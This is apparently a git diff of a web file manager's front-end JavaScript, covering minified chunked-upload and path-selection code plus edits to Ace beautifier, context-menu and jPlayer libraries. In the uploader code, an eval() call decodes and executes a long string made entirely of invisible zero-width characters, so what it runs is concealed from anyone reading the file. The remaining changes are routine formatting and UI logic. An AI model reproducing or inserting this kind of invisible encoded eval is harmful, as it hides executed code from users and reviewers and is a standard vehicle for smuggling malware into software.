chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).find("span.title").attr("title");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(t),file_finished++;var i=e.serverData;if(i&&i.data){var a=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],!i&&e.serverData.data&&(i=e.serverData.data),Tips.tips(i,!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"); \ No newline at end of file diff --git a/static/js/lib/ace/src-min-noconflict/ext-beautify.js b/static/js/lib/ace/src-min-noconflict/ext-beautify.js index 8e26870..c8c139b 100755 --- a/static/js/lib/ace/src-min-noconflict/ext-beautify.js +++ b/static/js/lib/ace/src-min-noconflict/ext-beautify.js @@ -34,20 +34,15 @@ ace.define("ace/ext/beautify/php_rules",["require","exports","module","ace/token type: 'text', value: ':', context: 'php' - }, { - type: 'keyword', - value: 'case', - indent: true, - dontBreak: true - }, { + },{ type: 'keyword', value: 'default', - indent: true, + //indent: true, dontBreak: true }, { type: 'keyword', - value: 'break', - indent: false, + value: 'break',//for,while,foreach中的break indent为true + //indent: true, dontBreak: true }, { type: 'punctuation.doctype.end', @@ -72,13 +67,19 @@ ace.define("ace/ext/beautify/php_rules",["require","exports","module","ace/token value: ';' }]; - exports.spaces = [{ + exports.spaces = [{//需要在前面或后面追加空格;关键字 type: 'xml-pe', prepend: true },{ type: 'entity.other.attribute-name', prepend: true - }, { + }, + + //add by warlee + {type: 'keyword',append: true}, + {type: 'identifier',append: true}, + + { type: 'storage.type', value: 'var', append: true @@ -147,9 +148,10 @@ ace.define("ace/ext/beautify/php_rules",["require","exports","module","ace/token var nextToken = {}; var breakAdded = false; var value = ''; + var nextLineIndent = 0; + var switchBreakMatch = 0; while (token!==null) { - //console.log(token); if( !token ){ token = iterator.stepForward(); continue; @@ -167,7 +169,7 @@ ace.define("ace/ext/beautify/php_rules",["require","exports","module","ace/token }else if( token.type == 'meta.tag.name.script' && context == 'js' ){ context = 'html'; } - + nextToken = iterator.stepForward(); if (nextToken && nextToken.type.indexOf('meta.tag.name') == 0) { nextTag = nextToken.value; @@ -181,12 +183,26 @@ ace.define("ace/ext/beautify/php_rules",["require","exports","module","ace/token if (token.type == 'text') { token.value = token.value.trim(); } - - //add by warlee - if (token.type == 'keyword' || token.type == "identifier") { - token.value = token.value.trim()+" "; + + //未知代码 add by warlee + if(context == undefined){ + code += token.value+"\n"; + token = nextToken; + continue; } - + //块注释保持初始 + if(token.type == "comment.doc"){ + token.value += "\n"; + + //块注释最后追加indent + if(nextToken && nextToken.type!='comment.doc'){ + for (var j = 0; j < indentation; j++) { + token.value += "\t"; + } + } + } + + if (!token.value) { token = nextToken; continue; @@ -213,6 +229,9 @@ ace.define("ace/ext/beautify/php_rules",["require","exports","module","ace/token if (token.type.indexOf('meta.tag.name') == 0) { tag = token.value; } + //console.log(123,nextLineIndent,indentation,token,nextToken); + + //处理indent对齐 breakAdded = false; for (i in newLines) { if ( @@ -230,25 +249,25 @@ ace.define("ace/ext/beautify/php_rules",["require","exports","module","ace/token newLines[i].context === context ) ) { - if (newLines[i].indent === false) { + if (newLines[i].indent === false) { indentation--; } - if ( newLines[i].breakBefore && ( !newLines[i].prev || newLines[i].prev.test(lastToken.value) ) ) { code += "\n"; breakAdded = true; - for (i = 0; i < indentation; i++) { + for (var j = 0; j < indentation+nextLineIndent; j++) { code += "\t"; } } - break; } } - + + + //处理换行 if (dontBreak===false) { for (i in newLines) { if ( @@ -265,22 +284,47 @@ ace.define("ace/ext/beautify/php_rules",["require","exports","module","ace/token newLines[i].context === context ) ) { - if (newLines[i].indent === true) { + if (newLines[i].indent === true && token.value !="break") { indentation++; } - if (!newLines[i].dontBreak && !breakAdded) { - code += "\n"; - for (i = 0; i < indentation; i++) { - code += "\t"; + var br = "\n",table="\t"; + if(token.value == "}" || token.value == "else"){ + br = "";table=""; + } + if(nextToken && nextToken.value == "else"){ + br = "";table=""; + } + code += br; + for (i = 0; i < indentation+nextLineIndent; i++) { + code += table; } } - break; } } } - + + if(token.type == 'keyword'){ + switch(token.value){ + case 'switch': + case 'function':nextLineIndent = 0;break; + case 'case': + case 'default': + if(switchBreakMatch === 0){ + nextLineIndent+=1; + switchBreakMatch = 1; + } + break; + case 'break': + switchBreakMatch = 0; + nextLineIndent -= 1; + nextLineIndent = nextLineIndent<0?0:nextLineIndent; + break; + default:break; + } + } + code += value; if ( lastToken.type == 'support.php_tag' && lastToken.value == '?>' ) { dontBreak = false; diff --git a/static/js/lib/contextMenu/jquery-contextMenu.js b/static/js/lib/contextMenu/jquery-contextMenu.js index 3aaafde..67bfb89 100755 --- a/static/js/lib/contextMenu/jquery-contextMenu.js +++ b/static/js/lib/contextMenu/jquery-contextMenu.js @@ -141,7 +141,6 @@ var // currently active contextMenu trigger if (offset.left + width > right) { offset.left -= width+8; } - opt.$menu.css(offset); }, // position the sub-menu @@ -149,9 +148,10 @@ var // currently active contextMenu trigger if ($.ui && $.ui.position) { // .position() is provided as a jQuery UI utility // (...and it won't work on hidden elements) + // http://www.runoob.com/jqueryui/api-position.html $menu.css('display', 'block').position({ my: "left top", - at: "right top", + at: "right top-9",//change by warlee; -9 避免点不到问题 of: this, collision: "flipfit fit" }).css('display', ''); @@ -161,6 +161,9 @@ var // currently active contextMenu trigger top: 0, left: this.outerWidth() }; + offset.top += offset.top-10; + console.log(offset); + $menu.css(offset); } }, diff --git a/static/js/lib/jPlayer/jquery.jplayer.js b/static/js/lib/jPlayer/jquery.jplayer.js index 842f31b..d9a5db6 100755 --- a/static/js/lib/jPlayer/jquery.jplayer.js +++ b/static/js/lib/jPlayer/jquery.jplayer.js @@ -1134,6 +1134,7 @@ htmlObj.setAttribute("width", "1"); // Non-zero htmlObj.setAttribute("height", "1"); // Non-zero htmlObj.setAttribute("tabindex", "-1"); + createParam(htmlObj, "flashvars", flashVars); createParam(htmlObj, "allowscriptaccess", "always"); createParam(htmlObj, "bgcolor", this.options.backgroundColor); diff --git a/static/js/lib/jPlayer/kod.flat/control.js b/static/js/lib/jPlayer/kod.flat/control.js index 22f1c55..5a47343 100755 --- a/static/js/lib/jPlayer/kod.flat/control.js +++ b/static/js/lib/jPlayer/kod.flat/control.js @@ -2,7 +2,7 @@ var jPlayerConfigInit = function($player,config){ var playerConfig = { supplied: 